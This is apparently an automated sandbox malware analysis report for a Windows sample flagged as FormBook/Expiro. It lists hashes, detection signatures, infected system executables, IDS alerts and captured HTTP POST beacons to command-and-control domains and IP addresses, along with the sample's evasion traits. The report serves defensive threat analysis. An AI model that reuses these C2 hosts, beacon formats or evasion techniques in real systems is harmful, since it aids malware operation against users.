Edit tour

Windows Analysis Report
BzK8rQh2O3.exe

Overview

General Information

Sample name:	BzK8rQh2O3.exe renamed because original name is a hash value
Original sample name:	03428fe5c6161e6f512514d5f1827baa24617611fd068d98e0a8be94fc8030bc.exe
Analysis ID:	1588590
MD5:	de74305f29857f83bc99d71524a8842b
SHA1:	dd587bd360b681b2ec73bb7bcfc871f8fe981ae0
SHA256:	03428fe5c6161e6f512514d5f1827baa24617611fd068d98e0a8be94fc8030bc
Tags:	exeWormm0yvuser-adrian__luca
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected FormBook

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Contains functionality to behave differently if execute on a Russian/Kazak computer

Creates files in the system32 config directory

Drops executable to a common third party application directory

Found direct / indirect Syscall (likely to bypass EDR)

Infects executable files (exe, dll, sys, html)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Writes to foreign memory regions

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Enables driver privileges

Enables security privileges

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Uncommon Svchost Parent Process

Spawns drivers

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

BzK8rQh2O3.exe (PID: 3748 cmdline: "C:\Users\user\Desktop\BzK8rQh2O3.exe" MD5: DE74305F29857F83BC99D71524A8842B)

svchost.exe (PID: 5228 cmdline: "C:\Users\user\Desktop\BzK8rQh2O3.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

armsvc.exe (PID: 2412 cmdline: "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe" MD5: 224A86FD89B67F5874BE745F454A29D5)

alg.exe (PID: 4820 cmdline: C:\Windows\System32\alg.exe MD5: AFF3175576D4CDBFB3592C3E3BEE84D7)

AppVStrm.sys (PID: 4 cmdline: MD5: BDA55F89B69757320BC125FF1CB53B26)

AppvVemgr.sys (PID: 4 cmdline: MD5: E70EE9B57F8D771E2F4D6E6B535F6757)

AppvVfs.sys (PID: 4 cmdline: MD5: 2CBABD729D5E746B6BD8DC1B4B4DB1E1)

AppVClient.exe (PID: 1608 cmdline: C:\Windows\system32\AppVClient.exe MD5: DCB9DA31B5D9BF73EFE42CD201A3C555)

FXSSVC.exe (PID: 7064 cmdline: C:\Windows\system32\fxssvc.exe MD5: BD4426E495F8ADB5F861A87A8F767BF5)

elevation_service.exe (PID: 7224 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe" MD5: 01AF1FD4DAF4AD21FE19952B19C40DC2)

maintenanceservice.exe (PID: 7268 cmdline: "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe" MD5: FF9BB8830745BF559EF36B064C54358D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.2005006372.0000000002D10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
10.2.svchost.exe.2d0000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
10.2.svchost.exe.2d0000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: , CommandLine: , CommandLine|base64offset|contains: , Image: C:\Windows\System32\drivers\AppVStrm.sys, NewProcessName: C:\Windows\System32\drivers\AppVStrm.sys, OriginalFileName: C:\Windows\System32\drivers\AppVStrm.sys, ParentCommandLine: , ParentImage: , ParentProcessId: -1, ProcessCommandLine: , ProcessId: 4, ProcessName: AppVStrm.sys

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\BzK8rQh2O3.exe", CommandLine: "C:\Users\user\Desktop\BzK8rQh2O3.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\BzK8rQh2O3.exe", ParentImage: C:\Users\user\Desktop\BzK8rQh2O3.exe, ParentProcessId: 3748, ParentProcessName: BzK8rQh2O3.exe, ProcessCommandLine: "C:\Users\user\Desktop\BzK8rQh2O3.exe", ProcessId: 5228, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Users\user\Desktop\BzK8rQh2O3.exe", CommandLine: "C:\Users\user\Desktop\BzK8rQh2O3.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\BzK8rQh2O3.exe", ParentImage: C:\Users\user\Desktop\BzK8rQh2O3.exe, ParentProcessId: 3748, ParentProcessName: BzK8rQh2O3.exe, ProcessCommandLine: "C:\Users\user\Desktop\BzK8rQh2O3.exe", ProcessId: 5228, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE DNS Query to Expiro Domain (eufxebus .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:51:58.092153+0100	2051651	1	A Network Trojan was detected	192.168.2.4	57618	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:50:06.393768+0100	2051649	1	A Network Trojan was detected	192.168.2.4	65109	1.1.1.1	53	UDP

ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:50:03.847049+0100	2051648	1	A Network Trojan was detected	192.168.2.4	53349	1.1.1.1	53	UDP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:49:57.909523+0100	2018141	1	A Network Trojan was detected	54.244.188.177	80	192.168.2.4	49730	TCP
2025-01-11T02:50:03.763330+0100	2018141	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.4	49736	TCP
2025-01-11T02:50:45.124526+0100	2018141	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.4	49755	TCP
2025-01-11T02:50:48.867179+0100	2018141	1	A Network Trojan was detected	34.246.200.160	80	192.168.2.4	49759	TCP
2025-01-11T02:50:49.525304+0100	2018141	1	A Network Trojan was detected	34.227.7.138	80	192.168.2.4	49760	TCP
2025-01-11T02:50:52.151278+0100	2018141	1	A Network Trojan was detected	13.251.16.150	80	192.168.2.4	49764	TCP
2025-01-11T02:50:55.203379+0100	2018141	1	A Network Trojan was detected	35.164.78.200	80	192.168.2.4	49791	TCP
2025-01-11T02:50:56.180580+0100	2018141	1	A Network Trojan was detected	3.94.10.34	80	192.168.2.4	49800	TCP
2025-01-11T02:51:00.242871+0100	2018141	1	A Network Trojan was detected	18.246.231.120	80	192.168.2.4	49825	TCP
2025-01-11T02:51:13.607166+0100	2018141	1	A Network Trojan was detected	47.129.31.212	80	192.168.2.4	49915	TCP
2025-01-11T02:51:19.427594+0100	2018141	1	A Network Trojan was detected	3.254.94.185	80	192.168.2.4	49961	TCP

ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:49:57.909523+0100	2037771	1	A Network Trojan was detected	54.244.188.177	80	192.168.2.4	49730	TCP
2025-01-11T02:50:03.763330+0100	2037771	1	A Network Trojan was detected	44.221.84.105	80	192.168.2.4	49736	TCP
2025-01-11T02:50:45.124526+0100	2037771	1	A Network Trojan was detected	18.141.10.107	80	192.168.2.4	49755	TCP
2025-01-11T02:50:48.867179+0100	2037771	1	A Network Trojan was detected	34.246.200.160	80	192.168.2.4	49759	TCP
2025-01-11T02:50:49.525304+0100	2037771	1	A Network Trojan was detected	34.227.7.138	80	192.168.2.4	49760	TCP
2025-01-11T02:50:52.151278+0100	2037771	1	A Network Trojan was detected	13.251.16.150	80	192.168.2.4	49764	TCP
2025-01-11T02:50:55.203379+0100	2037771	1	A Network Trojan was detected	35.164.78.200	80	192.168.2.4	49791	TCP
2025-01-11T02:50:56.180580+0100	2037771	1	A Network Trojan was detected	3.94.10.34	80	192.168.2.4	49800	TCP
2025-01-11T02:51:00.242871+0100	2037771	1	A Network Trojan was detected	18.246.231.120	80	192.168.2.4	49825	TCP
2025-01-11T02:51:13.607166+0100	2037771	1	A Network Trojan was detected	47.129.31.212	80	192.168.2.4	49915	TCP
2025-01-11T02:51:19.427594+0100	2037771	1	A Network Trojan was detected	3.254.94.185	80	192.168.2.4	49961	TCP

ETPRO MALWARE Win32/Expiro.NDO CnC Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:49:57.902719+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.4	49730	54.244.188.177	80	TCP
2025-01-11T02:51:01.113608+0100	2850851	1	Malware Command and Control Activity Detected	192.168.2.4	49830	54.244.188.177	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: BzK8rQh2O3.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://54.244.188.177/sqhuoucbvpfptw	Avira URL Cloud: Label: malware
Source: http://54.244.188.177/sqhuoucbvpfptwW	Avira URL Cloud: Label: malware
Source: http://54.244.188.177/H	Avira URL Cloud: Label: malware
Source: http://54.244.188.177/x	Avira URL Cloud: Label: malware
Source: http://54.244.188.177:80/sqhuoucbvpfptws	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\AppVClient.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\FXSSVC.exe	Avira: detection malicious, Label: W32/Infector.Gen
Source: C:\Windows\System32\alg.exe	Avira: detection malicious, Label: W32/Infector.Gen

Multi AV Scanner detection for submitted file

Source: BzK8rQh2O3.exe	Virustotal: Detection: 75%			Perma Link
Source: BzK8rQh2O3.exe	ReversingLabs: Detection: 86%

Yara detected FormBook

Source: Yara match	File source: 10.2.svchost.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.svchost.exe.2d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2005006372.0000000002D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2003602986.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\AppVClient.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\FXSSVC.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\alg.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: BzK8rQh2O3.exe

Joe Sandbox ML: detected

Source: BzK8rQh2O3.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: BzK8rQh2O3.exe, 00000000.00000003.1709037874.0000000004000000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe.0.dr
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdb source: BzK8rQh2O3.exe, 00000000.00000003.1742039738.00000000041E0000.00000004.00001000.00020000.00000000.sdmp, DiagnosticsHub.StandardCollector.Service.exe.0.dr
Source:	Binary string: AppVClient.pdbGCTL source: AppVClient.exe.0.dr
Source:	Binary string: ALG.pdbGCTL source: BzK8rQh2O3.exe, 00000000.00000003.1713887280.0000000004000000.00000004.00001000.00020000.00000000.sdmp, alg.exe.0.dr
Source:	Binary string: AppVClient.pdb source: AppVClient.exe.0.dr
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: BzK8rQh2O3.exe, 00000000.00000003.1763734434.0000000004250000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: DiagnosticsHub.StandardCollector.Service.pdbGCTL source: BzK8rQh2O3.exe, 00000000.00000003.1742039738.00000000041E0000.00000004.00001000.00020000.00000000.sdmp, DiagnosticsHub.StandardCollector.Service.exe.0.dr
Source:	Binary string: PresentationFontCache.pdb source: BzK8rQh2O3.exe, 00000000.00000003.1763734434.0000000004250000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: FXSSVC.pdbGCTL source: FXSSVC.exe.0.dr
Source:	Binary string: wntdll.pdbUGP source: BzK8rQh2O3.exe, 00000000.00000003.1765571034.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1764711070.0000000005060000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2005075194.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1943955685.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1941382138.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BzK8rQh2O3.exe, 00000000.00000003.1765571034.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, BzK8rQh2O3.exe, 00000000.00000003.1764711070.0000000005060000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 0000000A.00000002.2005075194.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1943955685.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000003.1941382138.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2005075194.0000000002F00000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\b\s\w\ir\cache\builder\src\out\Release_x64\elevation_service.exe.pdb source: elevation_service.exe.0.dr
Source:	Binary string: FXSSVC.pdb source: FXSSVC.exe.0.dr
Source:	Binary string: ALG.pdb source: BzK8rQh2O3.exe, 00000000.00000003.1713887280.0000000004000000.00000004.00001000.00020000.00000000.sdmp, alg.exe.0.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Users\user\Desktop\BzK8rQh2O3.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.4:65109 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.4:49730 -> 54.244.188.177:80
Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.4:53349 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.4:49830 -> 54.244.188.177:80
Source: Network traffic	Suricata IDS: 2051651 - Severity 1 - ET MALWARE DNS Query to Expiro Domain (eufxebus .biz) : 192.168.2.4:57618 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 54.244.188.177 54.244.188.177
Source: Joe Sandbox View	IP Address: 18.141.10.107 18.141.10.107

Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 44.221.84.105:80 -> 192.168.2.4:49736
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 44.221.84.105:80 -> 192.168.2.4:49736
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.141.10.107:80 -> 192.168.2.4:49755
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.141.10.107:80 -> 192.168.2.4:49755
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 54.244.188.177:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 54.244.188.177:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.227.7.138:80 -> 192.168.2.4:49760
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.227.7.138:80 -> 192.168.2.4:49760
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.94.10.34:80 -> 192.168.2.4:49800
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.94.10.34:80 -> 192.168.2.4:49800
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 35.164.78.200:80 -> 192.168.2.4:49791
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 35.164.78.200:80 -> 192.168.2.4:49791
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.246.231.120:80 -> 192.168.2.4:49825
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.246.231.120:80 -> 192.168.2.4:49825
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 13.251.16.150:80 -> 192.168.2.4:49764
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 13.251.16.150:80 -> 192.168.2.4:49764
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.246.200.160:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.246.200.160:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 47.129.31.212:80 -> 192.168.2.4:49915
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 47.129.31.212:80 -> 192.168.2.4:49915
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.254.94.185:80 -> 192.168.2.4:49961
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.254.94.185:80 -> 192.168.2.4:49961

Source: global traffic	HTTP traffic detected: POST /sqhuoucbvpfptw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 800
Source: global traffic	HTTP traffic detected: POST /ahu HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 800
Source: global traffic	HTTP traffic detected: POST /nxbrnchslf HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /flkkbmligcvmrctj HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 800
Source: global traffic	HTTP traffic detected: POST /ggjlw HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /dufkpol HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /a HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /mygkicdwtcska HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: knjghuig.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /eicnkswtpuoihir HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: vcddkls.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /jhjqfhvnwcnnm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: dwrqljrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /jetrwdoymgqweqlr HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: oshhkdluh.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /hnk HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: lrxdmhrr.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /wxwlgro HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: wllvnzb.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
Source: global traffic	HTTP traffic detected: POST /cvgvkeodaeo HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: acwjcqqv.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 874
